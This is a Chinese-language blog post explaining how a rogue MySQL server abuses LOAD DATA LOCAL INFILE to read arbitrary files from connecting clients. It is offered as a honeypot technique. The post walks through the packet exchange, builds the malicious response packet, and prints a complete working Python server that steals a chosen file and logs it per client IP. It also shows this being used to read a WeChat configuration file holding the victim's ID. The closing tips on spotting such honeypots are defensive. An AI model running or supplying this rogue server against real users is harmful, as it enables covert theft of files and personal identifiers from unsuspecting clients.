伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,就可以任意读取客户端的指定文件。

交互过程

  • Win7(192.168.8.130)运行MySQL服务端,作Server端
  • Win10(192.168.8.1)使用Navicat进行连接,作Client端

Honeypot_MySQL-1

  • 在Win10使用WireShark抓包,选择对应网卡并指定3306端口

Honeypot_MySQL-2

  • 数据库中新建一个表

Honeypot_MySQL-3

  • 新建查询,读取Client中指定文件
use test;
load data local infile "D:/temp/Client.txt" into table testtable;  # 此处文件路径可自定义

-- load data infile "D:/temp/Client.txt" into table TestTable;         # 读取Server端文件
-- load data local infile "D:/temp/Client.txt" into table TestTable;   # 读取Client端文件

Honeypot_MySQL-4

  • 如果提示--secure-file-priv,需要修改MySQL配置文件,添加如下内容并重启MySQL
[mysqld]
secure-file-priv=

Wireshak抓包可以看到正常的执行流程如下:

  • Client向Server发起Load data local infile请求
  • Server返回需要读取的文件路径
  • Client读取文件内容并发送给Server

Honeypot_MySQL-5
Honeypot_MySQL-6
Honeypot_MySQL-7

利用原理

从上面交互过程可以看出,在Client向Server发起查询后,Server会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。实际上Server可以在回复任何Client端的请求时返回Response TABULAR响应包,而不仅仅是在Client发起Load data local infile后。

Security Considerations for LOAD DATA LOCAL:A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.
  • 在交互过程第2步返回需要读取的文件路径,即Response TABULAR数据包部分内容如下:

    • 13,文件名长度+1
    • 00 00 01,数据包序号
    • fb,数据包类型
    • 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74,文件名
13 00 00 01 fb 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
  • 于是可以构造Payload
# chr(len(filename)+1) + "\x00\x00\x01\xfb" + filename

filename = "D:/temp/Client.txt"
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)  # 恶意响应包
  • 尝试读取此文件

Honeypot_MySQL-8

  • 尝试读取微信配置文件,其中包含微信ID

    • 默认路径:C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.dat

Honeypot_MySQL-9
Honeypot_MySQL-10

  • 但是读取该文件需要知道微信的安装位置,即使其安装在默认位置,也还需要知道目标电脑用户名,而目标用户名有一定几率在C:\Windows\PFRO.log文件中找到,因此利用难度较大。这里仅作演示以抛砖引玉。

完整代码

# coding=utf-8
import socket
import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)

def get_data(filename, client, addr):
    base_path = os.path.abspath('.') + "/log/" + addr[0]
    if not os.path.exists(base_path):
        os.makedirs(base_path)

    evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)  # 恶意响应包    
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
        f.write(file_data)
        f.close()

while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    client.sendall(version_text)
    try:
        # 客户端请求信息
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    client.sendall(verification)
    try:
        # SET NAMES utf8mb4
        client.recv(9999)
    except Exception as e:
        print(e)

    # Response TABULAR
    filename = "D:/temp/Client.txt"
    get_data(filename, client, addr)
    client.close()

蜜罐识别

  • 有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的;
  • 许多蜜罐为了读取客户端的任意文件来识别攻击者的身份,会把客户端第一条执行的命令作为读取客户端文件的数据包返回;
  • 登陆成功后通过SQL命令识别:
# 统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;

# 查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;

# 查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary

参考文章

最后修改:2021 年 05 月 06 日 03 : 03 PM
如果觉得我的文章对你有帮助,请我吃颗糖吧~